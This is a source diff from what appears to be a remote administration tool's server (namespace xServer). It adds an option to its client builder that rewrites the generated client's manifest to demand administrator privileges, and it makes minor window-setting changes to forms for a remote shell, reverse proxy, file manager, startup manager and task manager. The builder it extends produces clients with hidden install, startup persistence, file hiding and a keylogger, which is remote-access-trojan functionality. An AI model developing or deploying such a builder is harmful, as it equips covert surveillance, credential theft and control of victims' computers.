diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index 3614ab9d..ebe9d4ea 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -1,5 +1,6 @@ using System; using System.IO; +using System.Xml; using Mono.Cecil; using Mono.Cecil.Cil; using Vestris.ResourceLib; @@ -33,13 +34,13 @@ namespace xServer.Core.Build /// The path to the icon for the client. /// Information about the client executable's assembly information. /// The version number of the client. + /// Determines whether to require administrator privileges on startup. /// Thrown if the builder was unable to rename the client executable. /// Thrown if an invalid special folder was specified. /// Thrown if the client binaries do not exist. public static void Build(string output, string tag, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, - int reconnectdelay, - int installpath, string iconpath, string[] asminfo, string version) + int reconnectdelay, int installpath, string iconpath, string[] asminfo, string version, bool requireAdmin) { // PHASE 1 - Settings string encKey = FileHelper.GetRandomFilename(20); @@ -168,7 +169,23 @@ namespace xServer.Core.Build versionResource.SaveTo(output); } - // PHASE 5 - Icon changing + // PHASE 5 - Manifest rewriting to require Administrator privileges on startup + if (requireAdmin) + { + ManifestResource rc = new ManifestResource(); + rc.LoadFrom(output); + var nodes = rc.Manifest.GetElementsByTagName("requestedExecutionLevel"); + if (nodes == null || nodes.Count == 0) + throw new Exception("Reading Manifest failed"); + foreach (XmlNode node in nodes) + { + node.Attributes["level"].Value = "requireAdministrator"; + break; + } + rc.SaveTo(output); + } + + // PHASE 6 - Icon changing if (!string.IsNullOrEmpty(iconpath)) IconInjector.InjectIcon(output, iconpath); } diff --git a/Server/Core/Data/BuilderProfile.cs b/Server/Core/Data/BuilderProfile.cs index 48ff548c..38b64d2d 100644 --- a/Server/Core/Data/BuilderProfile.cs +++ b/Server/Core/Data/BuilderProfile.cs @@ -287,6 +287,18 @@ namespace xServer.Core.Data } } + public bool RequireAdministrator + { + get + { + return bool.Parse(ReadValueSafe("RequireAdministrator", "False")); + } + set + { + WriteValue("RequireAdministrator", value.ToString()); + } + } + public BuilderProfile(string profileName) { if (string.IsNullOrEmpty(profileName)) throw new ArgumentException("Invalid Profile Path"); diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index 161c8efa..7ca250ec 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -119,6 +119,7 @@ this.line9 = new xServer.Controls.Line(); this.label12 = new System.Windows.Forms.Label(); this.chkKeylogger = new System.Windows.Forms.CheckBox(); + this.chkRequireAdministrator = new System.Windows.Forms.CheckBox(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); this.ctxtMenuHosts.SuspendLayout(); @@ -969,6 +970,7 @@ // additionalTab // this.additionalTab.BackColor = System.Drawing.SystemColors.Control; + this.additionalTab.Controls.Add(this.chkRequireAdministrator); this.additionalTab.Controls.Add(this.line10); this.additionalTab.Controls.Add(this.label14); this.additionalTab.Controls.Add(this.label13); @@ -1038,6 +1040,17 @@ this.chkKeylogger.UseVisualStyleBackColor = true; this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting); // + // chkRequireAdministrator + // + this.chkRequireAdministrator.AutoSize = true; + this.chkRequireAdministrator.Location = new System.Drawing.Point(23, 119); + this.chkRequireAdministrator.Name = "chkRequireAdministrator"; + this.chkRequireAdministrator.Size = new System.Drawing.Size(226, 17); + this.chkRequireAdministrator.TabIndex = 5; + this.chkRequireAdministrator.Text = "Require Administrator privileges to run"; + this.chkRequireAdministrator.UseVisualStyleBackColor = true; + this.chkRequireAdministrator.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // // FrmBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -1165,5 +1178,6 @@ private Controls.Line line10; private System.Windows.Forms.Label label14; private System.Windows.Forms.ToolStripMenuItem ctxtClear; + private System.Windows.Forms.CheckBox chkRequireAdministrator; } } diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index 9955542a..83ceba66 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -51,6 +51,7 @@ namespace xServer.Forms txtOriginalFilename.Text = profile.OriginalFilename; txtProductVersion.Text = profile.ProductVersion; txtFileVersion.Text = profile.FileVersion; + chkRequireAdministrator.Checked = profile.RequireAdministrator; _profileLoaded = true; } @@ -82,6 +83,7 @@ namespace xServer.Forms profile.OriginalFilename = txtOriginalFilename.Text; profile.ProductVersion = txtProductVersion.Text; profile.FileVersion = txtFileVersion.Text; + profile.RequireAdministrator = chkRequireAdministrator.Checked; } private void FrmBuilder_Load(object sender, EventArgs e) @@ -281,7 +283,7 @@ namespace xServer.Forms ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo, - Application.ProductVersion); + Application.ProductVersion, chkRequireAdministrator.Checked); MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); diff --git a/Server/Forms/FrmFileManager.Designer.cs b/Server/Forms/FrmFileManager.Designer.cs index e51ab643..bf7e28f5 100644 --- a/Server/Forms/FrmFileManager.Designer.cs +++ b/Server/Forms/FrmFileManager.Designer.cs @@ -426,7 +426,6 @@ namespace xServer.Forms this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.KeyPreview = true; - this.MinimizeBox = false; this.MinimumSize = new System.Drawing.Size(663, 377); this.Name = "FrmFileManager"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; diff --git a/Server/Forms/FrmFileManager.resx b/Server/Forms/FrmFileManager.resx index 24c37ed1..ec076770 100644 --- a/Server/Forms/FrmFileManager.resx +++ b/Server/Forms/FrmFileManager.resx @@ -128,7 +128,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW - EwAAAk1TRnQBSQFMAgEBCwEAAaABAgGgAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + EwAAAk1TRnQBSQFMAgEBCwEAAagBAgGoAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -226,7 +226,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE - CQAAAk1TRnQBSQFMAgEBAgEAARgBAgEYAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAASABAgEgAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Forms/FrmRemoteShell.Designer.cs b/Server/Forms/FrmRemoteShell.Designer.cs index 4fd31edd..32e76e5f 100644 --- a/Server/Forms/FrmRemoteShell.Designer.cs +++ b/Server/Forms/FrmRemoteShell.Designer.cs @@ -75,7 +75,6 @@ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; - this.MinimizeBox = false; this.Name = "FrmRemoteShell"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Remote Shell []"; diff --git a/Server/Forms/FrmReverseProxy.Designer.cs b/Server/Forms/FrmReverseProxy.Designer.cs index 538c08d9..dee8d8d4 100644 --- a/Server/Forms/FrmReverseProxy.Designer.cs +++ b/Server/Forms/FrmReverseProxy.Designer.cs @@ -248,7 +248,6 @@ namespace xServer.Forms this.Controls.Add(this.btnStart); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; this.Name = "FrmReverseProxy"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Reverse Proxy []"; diff --git a/Server/Forms/FrmStartupManager.Designer.cs b/Server/Forms/FrmStartupManager.Designer.cs index 96462774..0016ad4e 100644 --- a/Server/Forms/FrmStartupManager.Designer.cs +++ b/Server/Forms/FrmStartupManager.Designer.cs @@ -100,7 +100,6 @@ this.Controls.Add(this.lstStartupItems); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MinimizeBox = false; this.Name = "FrmStartupManager"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Startup Manager []"; diff --git a/Server/Forms/FrmTaskManager.Designer.cs b/Server/Forms/FrmTaskManager.Designer.cs index 7a763630..fe25f32b 100644 --- a/Server/Forms/FrmTaskManager.Designer.cs +++ b/Server/Forms/FrmTaskManager.Designer.cs @@ -123,7 +123,6 @@ namespace xServer.Forms this.Controls.Add(this.lstTasks); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MinimizeBox = false; this.MinimumSize = new System.Drawing.Size(351, 449); this.Name = "FrmTaskManager"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;